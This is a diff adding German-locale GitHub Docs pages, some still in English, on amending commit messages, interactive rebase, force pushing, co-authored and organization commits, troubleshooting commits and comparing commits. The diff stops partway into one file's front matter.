+++ b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
@@ -0,0 +1,124 @@
+---
+title: Changing a commit message
+redirect_from:
+  - /articles/can-i-delete-a-commit-message
+  - /articles/changing-a-commit-message
+  - /github/committing-changes-to-your-project/changing-a-commit-message
+  - /github/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message
+intro: 'If a commit message contains unclear, incorrect, or sensitive information, you can amend it locally and push a new commit with a new message to {% data variables.product.product_name %}. You can also change a commit message to add missing information.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+## Rewriting the most recent commit message
+
+You can change the most recent commit message using the `git commit --amend` command.
+
+In Git, the text of the commit message is part of the commit. Changing the commit message will change the commit ID--i.e., the SHA1 checksum that names the commit. Effectively, you are creating a new commit that replaces the old one.
+
+## Commit has not been pushed online
+
+If the commit only exists in your local repository and has not been pushed to {% data variables.location.product_location %}, you can amend the commit message with the `git commit --amend` command.
+
+1. On the command line, navigate to the repository that contains the commit you want to amend.
+2. Type `git commit --amend` and press **Enter**.
+3. In your text editor, edit the commit message, and save the commit.
+    - You can add a co-author by adding a trailer to the commit. For more information, see "[Creating a commit with multiple authors](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors)."
+{% ifversion fpt or ghec %}
+    - You can create commits on behalf of your organization by adding a trailer to the commit. For more information, see "[Creating a commit on behalf of an organization](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization)"
+{% endif %}
+
+The new commit and message will appear on {% data variables.location.product_location %} the next time you push.
+
+{% tip %}
+
+You can change the default text editor for Git by changing the `core.editor` setting. For more information, see "[Basic Client Configuration](https://git-scm.com/book/en/Customizing-Git-Git-Configuration#_basic_client_configuration)" in the Git manual.
+
+{% endtip %}
+
+## Amending older or multiple commit messages
+
+If you have already pushed the commit to {% data variables.location.product_location %}, you will have to force push a commit with an amended message.
+
+{% warning %}
+
+We strongly discourage force pushing, since this changes the history of your repository. If you force push, people who have already cloned your repository will have to manually fix their local history. For more information, see "[Recovering from upstream rebase](https://git-scm.com/docs/git-rebase#_recovering_from_upstream_rebase)" in the Git manual.
+
+{% endwarning %}
+
+**Changing the message of the most recently pushed commit**
+
+1. Follow the [steps above](/articles/changing-a-commit-message#commit-has-not-been-pushed-online) to amend the commit message.
+2. Use the `push --force-with-lease` command to force push over the old commit.
+  ```shell
+  $ git push --force-with-lease origin EXAMPLE-BRANCH
+  ```
+
+**Changing the message of older or multiple commit messages**
+
+If you need to amend the message for multiple commits or an older commit, you can use interactive rebase, then force push to change the commit history.
+
+1. On the command line, navigate to the repository that contains the commit you want to amend.
+2. Use the `git rebase -i HEAD~n` command to display a list of the last `n` commits in your default text editor.
+
+    ```shell
+    # Displays a list of the last 3 commits on the current branch
+    $ git rebase -i HEAD~3
+    ```
+    The list will look similar to the following:
+
+    ```shell
+    pick e499d89 Delete CNAME
+    pick 0c39034 Better README
+    pick f7fde4a Change the commit message but push the same commit.
+
+    # Rebase 9fdb3bd..f7fde4a onto 9fdb3bd
+    #
+    # Commands:
+    # p, pick = use commit
+    # r, reword = use commit, but edit the commit message
+    # e, edit = use commit, but stop for amending
+    # s, squash = use commit, but meld into previous commit
+    # f, fixup = like "squash", but discard this commit's log message
+    # x, exec = run command (the rest of the line) using shell
+    #
+    # These lines can be re-ordered; they are executed from top to bottom.
+    #
+    # If you remove a line here THAT COMMIT WILL BE LOST.
+    #
+    # However, if you remove everything, the rebase will be aborted.
+    #
+    # Note that empty commits are commented out
+    ```
+3. Replace `pick` with `reword` before each commit message you want to change.
+  ```shell
+  pick e499d89 Delete CNAME
+  reword 0c39034 Better README
+  reword f7fde4a Change the commit message but push the same commit.
+  ```
+4. Save and close the commit list file.
+5. In each resulting commit file, type the new commit message, save the file, and close it.
+6. When you're ready to push your changes to GitHub, use the push --force command to force push over the old commit.
+```shell
+$ git push --force origin EXAMPLE-BRANCH
+```
+
+For more information on interactive rebase, see "[Interactive mode](https://git-scm.com/docs/git-rebase#_interactive_mode)" in the Git manual.
+
+{% tip %}
+
+As before, amending the commit message will result in a new commit with a new ID. However, in this case, every commit that follows the amended commit will also get a new ID because each commit also contains the id of its parent.
+
+{% endtip %}
+
+{% warning %}
+
+If you have included sensitive information in a commit message, force pushing a commit with an amended commit may not remove the original commit from {% data variables.product.product_name %}. The old commit will not be a part of a subsequent clone; however, it may still be cached on {% data variables.product.product_name %} and accessible via the commit ID. You must contact {% data variables.contact.contact_support %} with the old commit ID to have it purged from the remote repository.
+
+{% endwarning %}
+
+## Further reading
+
+* "[Signing commits](/articles/signing-commits)"
diff --git a/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md
new file mode 100644
index 0000000000..e4cf27cb8f
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md
@@ -0,0 +1,74 @@
+---
+title: Creating a commit on behalf of an organization
+intro: 'You can create commits on behalf of an organization by adding a  trailer to the commit''s message. Commits attributed to an organization include an `on-behalf-of` badge on {% data variables.product.product_name %}.'
+redirect_from:
+  - /articles/creating-a-commit-on-behalf-of-an-organization
+  - /github/committing-changes-to-your-project/creating-a-commit-on-behalf-of-an-organization
+  - /github/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+shortTitle: On behalf of an organization
+---
+{% note %}
+
+**Note:** The ability to create a commit on behalf of an organization is currently in public beta and is subject to change.
+
+{% endnote %}
+
+To create commits on behalf of an organization:
+
+- you must be a member of the organization indicated in the trailer
+- you must sign the commit
+- your commit email and the organization email must be in a domain verified by the organization
+- your commit message must end with the commit trailer `on-behalf-of: @org <name@organization.com>`
+  - `org` is the organization's login
+  - `name@organization.com` is in the organization's domain
+
+Organizations can use the `name@organization.com` email as a public point of contact for open source efforts.
+
+## Creating commits with an `on-behalf-of` badge on the command line
+
+1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines.
+  ```shell
+  $ git commit -m "Refactor usability tests.
+  >
+  >
+  ```
+  {% tip %}
+
+  **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `on-behalf-of:` commit trailer.
+
+  {% endtip %}
+
+2. On the next line of the commit message, type `on-behalf-of: @org <name@organization.com>`, then a closing quotation mark.
+
+  ```shell
+  $ git commit -m "Refactor usability tests.
+  >
+  >
+  on-behalf-of: @ORG NAME@ORGANIZATION.COM"
+  ```
+
+The new commit, message, and badge will appear on {% data variables.location.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)."
+
+## Creating commits with an `on-behalf-of` badge on {% data variables.product.product_name %}
+
+After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a commit on behalf of your organization by adding an `on-behalf-of:` trailer to the commit's message.
+
+1. After making your changes, at the bottom of the page, type a short, meaningful commit message that describes the changes you made.
+  ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png)
+
+2. In the text box below your commit message, add `on-behalf-of: @org <name@organization.com>`.
+
+  ![Commit message on-behalf-of trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png)
+4. Click **Commit changes** or **Propose changes**.
+
+The new commit, message, and badge will appear on {% data variables.location.product_location %}.
+
+## Further reading
+
+- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)"
+- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"
+- "[Viewing a project’s contributors](/articles/viewing-a-projects-contributors)"
+- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)"
diff --git a/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md
new file mode 100644
index 0000000000..a1ac806368
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md
@@ -0,0 +1,90 @@
+---
+title: Creating a commit with multiple authors
+intro: 'You can attribute a commit to more than one author by adding one or more `Co-authored-by` trailers to the commit''s message. Co-authored commits are visible on {% data variables.product.product_name %}{% ifversion ghes or ghae %} and can be included in the profile contributions graph and the repository''s statistics{% endif %}.'
+redirect_from:
+  - /articles/creating-a-commit-with-multiple-authors
+  - /github/committing-changes-to-your-project/creating-a-commit-with-multiple-authors
+  - /github/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: With multiple authors
+---
+## Required co-author information
+
+Before you can add a co-author to a commit, you must know the appropriate email to use for each co-author. For the co-author's commit to count as a contribution, you must use the email associated with their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.
+
+{% ifversion fpt or ghec %}
+
+If a person chooses to keep their email address private, you should use their {% data variables.product.product_name %}-provided `no-reply` email to protect their privacy. Otherwise, the co-author's email will be available to the public in the commit message. If you want to keep your email private, you can choose to use a {% data variables.product.product_name %}-provided `no-reply` email for Git operations and ask other co-authors to list your `no-reply` email in commit trailers.
+
+For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address)."
+
+  {% tip %}
+
+  **Tip:** You can help a co-author find their preferred email address by sharing this information:
+  - To find your {% data variables.product.product_name %}-provided `no-reply` email, navigate to your email settings page under "Keep my email address private."
+  - To find the email you used to configure Git on your computer, run `git config user.email` on the command line.
+
+  {% endtip %}
+
+{% endif %}
+
+## Creating co-authored commits using {% data variables.product.prodname_desktop %}
+
+You can use {% data variables.product.prodname_desktop %} to create a commit with a co-author. For more information, see "[Write a commit message and push your changes](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#4-write-a-commit-message-and-push-your-changes)" and [{% data variables.product.prodname_desktop %}](https://desktop.github.com).
+
+![Add a co-author to the commit message](/assets/images/help/desktop/co-authors-demo-hq.gif)
+
+## Creating co-authored commits on the command line
+
+{% data reusables.pull_requests.collect-co-author-commit-git-config-info %}
+
+1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines.
+  ```
+  $ git commit -m "Refactor usability tests.
+  >
+  >
+  ```
+  {% tip %}
+
+  **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `Co-authored-by:` commit trailer.
+
+  {% endtip %}
+
+3. On the next line of the commit message, type `Co-authored-by: name <name@example.com>` with specific information for each co-author. After the co-author information, add a closing quotation mark.
+
+  If you're adding multiple co-authors, give each co-author their own line and `Co-authored-by:` commit trailer.
+  ```
+  $ git commit -m "Refactor usability tests.
+  >
+  >
+  Co-authored-by: NAME <NAME@EXAMPLE.COM>
+  Co-authored-by: AUTHOR-NAME <ANOTHER-NAME@EXAMPLE.COM>"
+  ```
+
+The new commit and message will appear on {% data variables.location.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)."
+
+## Creating co-authored commits on {% data variables.product.product_name %}
+
+After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a co-authored commit by adding a `Co-authored-by:` trailer to the commit's message.
+
+{% data reusables.pull_requests.collect-co-author-commit-git-config-info %}
+2. After making your changes together, at the bottom of the page, type a short, meaningful commit message that describes the changes you made.
+  ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png)
+3. In the text box below your commit message, add `Co-authored-by: name <name@example.com>` with specific information for each co-author. If you're adding multiple co-authors, give each co-author their own line and `Co-authored-by:` commit trailer.
+
+  ![Commit message co-author trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-co-author-trailer.png)
+4. Click **Commit changes** or **Propose changes**.
+
+The new commit and message will appear on {% data variables.location.product_location %}.
+
+## Further reading
+{% ifversion ghes or ghae %}
+- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)"
+- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"{% endif %}
+- "[Viewing a project's contributors](/articles/viewing-a-projects-contributors)"
+- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)"
+- "[Committing and reviewing changes to your project](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#4-write-a-commit-message-and-push-your-changes)" in the {% data variables.product.prodname_desktop %} documentation
diff --git a/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md
new file mode 100644
index 0000000000..11ab771b4e
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md
@@ -0,0 +1,25 @@
+---
+title: Commit erstellen und bearbeiten
+intro: ''
+redirect_from:
+  - /articles/creating-and-editing-commits
+  - /github/committing-changes-to-your-project/creating-and-editing-commits
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-commits
+  - /creating-a-commit-with-multiple-authors
+  - /creating-a-commit-on-behalf-of-an-organization
+  - /changing-a-commit-message
+shortTitle: Create & edit commits
+ms.openlocfilehash: 934c50a9aac372bb650d82d9f48719dd0b155d87
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145132537'
+---
+
diff --git a/translations/de-DE/content/pull-requests/committing-changes-to-your-project/index.md b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/index.md
new file mode 100644
index 0000000000..19f1cf14ee
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/index.md
@@ -0,0 +1,26 @@
+---
+title: Übernehmen von Änderungen für ein Projekt
+intro: 'Du kannst Codeänderungen in einem Repository verwalten, indem du Arbeit in Commits gruppierst.'
+redirect_from:
+  - /categories/21/articles
+  - /categories/commits
+  - /categories/committing-changes-to-your-project
+  - /github/committing-changes-to-your-project
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /creating-and-editing-commits
+  - /viewing-and-comparing-commits
+  - /troubleshooting-commits
+shortTitle: Commit changes to your project
+ms.openlocfilehash: e8bf1eb80d3a391e098b1c7aa5c4834af4144c4c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145132532'
+---
+
diff --git a/translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md
new file mode 100644
index 0000000000..ceab766830
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md
@@ -0,0 +1,92 @@
+---
+title: Commit exists on GitHub but not in my local clone
+intro: 'Sometimes a commit will be viewable on {% data variables.product.product_name %}, but will not exist in your local clone of the repository.'
+redirect_from:
+  - /articles/commit-exists-on-github-but-not-in-my-local-clone
+  - /github/committing-changes-to-your-project/commit-exists-on-github-but-not-in-my-local-clone
+  - /github/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Commit missing in local clone
+---
+When you use `git show` to view a specific commit on the command line, you may get a fatal error.
+
+For example, you may receive a `bad object` error locally:
+
+```shell
+$ git show 1095ff3d0153115e75b7bca2c09e5136845b5592
+> fatal: bad object 1095ff3d0153115e75b7bca2c09e5136845b5592
+```
+
+However, when you view the commit on {% data variables.location.product_location %}, you'll be able to see it without any problems:
+
+`github.com/$account/$repository/commit/1095ff3d0153115e75b7bca2c09e5136845b5592`
+
+There are several possible explanations:
+
+* The local repository is out of date.
+* The branch that contains the commit was deleted, so the commit is no longer referenced.
+* Someone force pushed over the commit.
+
+## The local repository is out of date
+
+Your local repository may not have the commit yet. To get information from your remote repository to your local clone, use `git fetch`:
+
+```shell
+$ git fetch REMOTE
+```
+
+This safely copies information from the remote repository to your local clone without making any changes to the files you have checked out.
+You can use `git fetch upstream` to get information from a repository you've forked, or `git fetch origin` to get information from a repository you've only cloned.
+
+{% tip %}
+
+**Tip**: For more information, read about [managing remotes and fetching data](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) in the [Pro Git](https://git-scm.com/book) book.
+
+{% endtip %}
+
+## The branch that contained the commit was deleted
+
+If a collaborator on the repository has deleted the branch containing the commit
+or has force pushed over the branch, the missing commit may have been orphaned
+(i.e. it cannot be reached from any reference) and therefore will not be fetched
+into your local clone.
+
+Fortunately, if any collaborator has a local clone of the repository with the
+missing commit, they can push it back to {% data variables.product.product_name %}.  They need to make sure the commit
+is referenced by a local branch and then push it as a new branch to {% data variables.product.product_name %}.
+
+Let's say that the person still has a local branch (call it `B`) that contains
+the commit.  This might be tracking the branch that was force pushed or deleted
+and they simply haven't updated yet.  To preserve the commit, they can push that
+local branch to a new branch (call it `recover-B`) on {% data variables.product.product_name %}.  For this example,
+let's assume they have a remote named `upstream` via which they have push access
+to `github.com/$account/$repository`.
+
+The other person runs:
+
+```shell
+$ git branch recover-B B
+# Create a new local branch referencing the commit
+$ git push upstream B:recover-B
+# Push local B to new upstream branch, creating new reference to commit
+```
+
+Now, *you* can run:
+
+```shell
+$ git fetch upstream recover-B
+# Fetch commit into your local repository.
+```
+
+## Avoid force pushes
+
+Avoid force pushing to a repository unless absolutely necessary. This is especially true if more than one person can push to the repository. If someone force pushes to a repository, the force push may overwrite commits that other people based their work on. Force pushing changes the repository history and can corrupt pull requests.
+
+## Further reading
+
+- ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)
+- ["Data Recovery" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery)
diff --git a/translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md
new file mode 100644
index 0000000000..18deca4de1
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md
@@ -0,0 +1,22 @@
+---
+title: Fehlerbehebung bei Commits
+intro: ''
+redirect_from:
+  - /articles/troubleshooting-commits
+  - /github/committing-changes-to-your-project/troubleshooting-commits
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /commit-exists-on-github-but-not-in-my-local-clone
+  - /why-are-my-commits-linked-to-the-wrong-user
+ms.openlocfilehash: 76b46a29cb6b18af0e3563022a908e02a531947c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145132526'
+---
+
diff --git a/translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
new file mode 100644
index 0000000000..d4d8bbe644
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
@@ -0,0 +1,58 @@
+---
+title: Why are my commits linked to the wrong user?
+redirect_from:
+  - /articles/how-do-i-get-my-commits-to-link-to-my-github-account
+  - /articles/why-are-my-commits-linked-to-the-wrong-user
+  - /github/committing-changes-to-your-project/why-are-my-commits-linked-to-the-wrong-user
+  - /github/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user
+intro: '{% data variables.product.product_name %} uses the email address in the commit header to link the commit to a GitHub user. If your commits are being linked to another user, or not linked to a user at all, you may need to change your local Git configuration settings{% ifversion not ghae %}, add an email address to your account email settings, or do both{% endif %}.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Linked to wrong user
+---
+{% tip %}
+
+**Note**: If your commits are linked to another user, that does not mean the user can access your repository. A user can only access a repository you own if you add them as a collaborator or add them to a team that has access to the repository.
+
+{% endtip %}
+
+## Commits are linked to another user
+
+If your commits are linked to another user, that means the email address in your local Git configuration settings is connected to that user's account on {% data variables.product.product_name %}. In this case, you can change the email in your local Git configuration settings{% ifversion ghae %} to the address associated with your account on {% data variables.product.product_name %} to link your future commits. Old commits will not be linked. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %} and add the new email address to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} account to link future commits to your account.
+
+1. To change the email address in your local Git configuration, follow the steps in "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)". If you work on multiple machines, you will need to change this setting on each one.
+2. Add the email address from step 2 to your account settings by following the steps in "[Adding an email address to your GitHub account](/articles/adding-an-email-address-to-your-github-account)".{% endif %}
+
+Commits you make from this point forward will be linked to your account.
+
+## Commits are not linked to any user
+
+If your commits are not linked to any user, the commit author's name will not be rendered as a link to a user profile.
+
+To check the email address used for those commits and connect commits to your account, take the following steps:
+
+1. Navigate to the commit by clicking the commit message link.
+![Commit message link](/assets/images/help/commits/commit-msg-link.png)
+2. To read a message about why the commit is not linked, hover over the blue {% octicon "question" aria-label="Question mark" %} to the right of the username.
+![Commit hover message](/assets/images/help/commits/commit-hover-msg.png)
+
+  - **Unrecognized author (with email address)** If you see this message with an email address, the address you used to author the commit is not connected to your account on {% data variables.product.product_name %}. {% ifversion not ghae %}To link your commits, [add the email address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account).{% endif %}{% ifversion not ghae %} If the email address has a Gravatar associated with it, the Gravatar will be displayed next to the commit, rather than the default gray Octocat.{% endif %}
+  - **Unrecognized author (no email address)** If you see this message without an email address, you used a generic email address that can't be connected to your account on {% data variables.product.product_name %}.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked.{% endif %}
+  - **Invalid email** The email address in your local Git configuration settings is either blank or not formatted as an email address.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked.{% endif %}
+
+{% ifversion ghae %}
+You can change the email in your local Git configuration settings to the address associated with your account to link your future commits. Old commits will not be linked. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."
+{% endif %}
+
+{% warning %}
+
+If your local Git configuration contained a generic email address, or an email address that was already attached to another user's account, then your previous commits will not be linked to your account. While Git does allow you to change the email address used for previous commits, we strongly discourage this, especially in a shared repository.
+
+{% endwarning %}
+
+## Further reading
+
+* "[Searching commits](/search-github/searching-on-github/searching-commits)"
diff --git a/translations/de-DE/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md
new file mode 100644
index 0000000000..f9abfd305f
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md
@@ -0,0 +1,73 @@
+---
+title: Commits vergleichen
+intro: 'Du kannst den Status deines Repositorys branch-, tag-, commit-, fork- und datumsübergreifend vergleichen.'
+redirect_from:
+  - /articles/comparing-commits-across-time
+  - /github/committing-changes-to-your-project/comparing-commits-across-time
+  - /github/committing-changes-to-your-project/comparing-commits
+  - /github/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 2ebf1a3cc83463e97d9a4d60401277bb844135b1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132520'
+---
+Um verschiedene Versionen deines Repositorys zu vergleichen, füge `/compare` an den Pfad deines Repositorys an.
+
+Wir veranschaulichen die Leistungsfähigkeit der Vergleichsfunktion, indem wir uns die Vergleichsseite für [einen Fork des Linguist-Repositorys](https://github.com/octocat/linguist) ansehen, der sich unter [https://github.com/octocat/linguist/compare/master...octocat:master](https://github.com/octocat/linguist/compare/master...octocat:master) befindet.
+
+Jede Vergleichsansicht eines Repositorys enthält zwei Dropdownmenüs: `base` und `compare`.
+
+`base` sollte als Ausgangspunkt des Vergleichs und `compare` als Endpunkt angesehen werden. Während eines Vergleichs kannst du den `base`- und den `compare`-Punkt jederzeit ändern, indem du auf **Bearbeiten** klickst.
+
+## Branches vergleichen
+
+Am häufigsten kommt die Vergleichsfunktion „Compare" beim Vergleich von Branches zum Einsatz, beispielsweise, wenn du einen neuen Pull Request erstellst. Beim Starten [eines neuen Pull Requests](/articles/creating-a-pull-request) wirst du immer zur Branchvergleichsansicht weitergeleitet.
+
+Um Branches zu vergleichen, wähle oben auf der Seite im Dropdownmenü `compare` den Namen eines Branchs aus.
+
+Hier siehst du ein Beispiel für einen [Vergleich zwischen zwei Branches](https://github.com/octocat/linguist/compare/master...octocat:an-example-comparison-for-docs).
+
+## Tags vergleichen
+
+Ein Vergleich der Release-Tags zeigt Dir die Änderungen an deinem Repository seit dem letzten Release. Weitere Informationen findest du unter [Vergleichen von Releases](/github/administering-a-repository/comparing-releases).
+
+Um Tags zu vergleichen, wähle oben auf der Seite im Dropdownmenü `compare` den Namen eines Tags aus.
+
+Hier siehst du ein Beispiel für einen [Vergleich zwischen zwei Tags](https://github.com/octocat/linguist/compare/v2.2.0...octocat:v2.3.3).
+
+## Commits vergleichen
+
+Du kannst auch zwei beliebige Commits in deinem Repository oder seinen Forks auf {% data variables.product.prodname_dotcom %} mit einem Two-Dot-Diff vergleichen.
+
+Um schnell zwei Commits oder Git-Objekt-IDs (OIDs) direkt miteinander in einem Two-Dot-Diff auf {% data variables.product.prodname_dotcom %} zu vergleichen, bearbeite die URL der Seite „Änderungen vergleichen“ deines Repositorys.
+
+{% data reusables.repositories.two-dot-diff-comparison-example-urls %}
+
+Weitere Informationen zu anderen Vergleichsoptionen findest du unter [Dreipunkt- und Zweipunkt-Diff-Vergleiche](/articles/about-comparing-branches-in-pull-requests#three-dot-and-two-dot-git-diff-comparisons).
+
+## Zwischen Forks vergleichen
+
+Du kannst dein Basis-Repository und jedes geforkte Repository vergleichen. Diese Ansicht wird gezeigt, wenn ein Benutzer einen Pull Request für ein Projekt ausführt.
+
+Um Branches aus verschiedenen Repositorys zu vergleichen, stelle den Branchnamen Benutzernamen voran. Wenn du beispielsweise `octocat:main` für `base` und `octo-org:main` für `compare` angibst, kannst du den `main`-Branch der Repositorys im Besitz von `octocat` bzw. `octo-org` vergleichen.
+
+Hier siehst du ein Beispiel für einen [Vergleich zwischen zwei Repositorys](https://github.com/github/linguist/compare/master...octocat:master).
+
+## Vergleiche zwischen Commits
+
+Als Kürzel verwendet Git die Notation `^`, um „einen Commit davor“ zu bezeichnen.
+
+Mit dieser Notation kannst du einen einzelnen Commit oder Branch mit seinem unmittelbaren Vorgänger vergleichen. Beispielsweise gibt `96d29b7^^^^^` fünf Commits vor `96d29b7` an, weil fünf `^`-Zeichen vorhanden sind. Durch Eingeben von `96d29b7^^^^^` im `base`-Branch und von `96d29b7` im `compare`-Branch werden die fünf Commits vor `96d29b7` mit dem Commit `96d29b7` verglichen.
+
+Hier siehst du ein Beispiel für einen [Vergleich über die `^`-Notation](https://github.com/octocat/linguist/compare/octocat:96d29b7%5E%5E%5E%5E%5E...octocat:96d29b7).
+
+## Weiterführende Themen
+
+- [Ändern des Basisbranchs eines Pull Requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request)
diff --git a/translations/de-DE/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md
new file mode 100644
index 0000000000..ae15bb4fc9
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/differences-between-commit-views.md
@@ -0,0 +1,39 @@
+---
+title: Unterschiede zwischen Commit-Ansichten
+intro: Je nach ausgewählter Anzeigemethode können Unterschiede im Commitverlauf auftreten.
+redirect_from:
+  - /articles/differences-between-commit-views
+  - /github/committing-changes-to-your-project/differences-between-commit-views
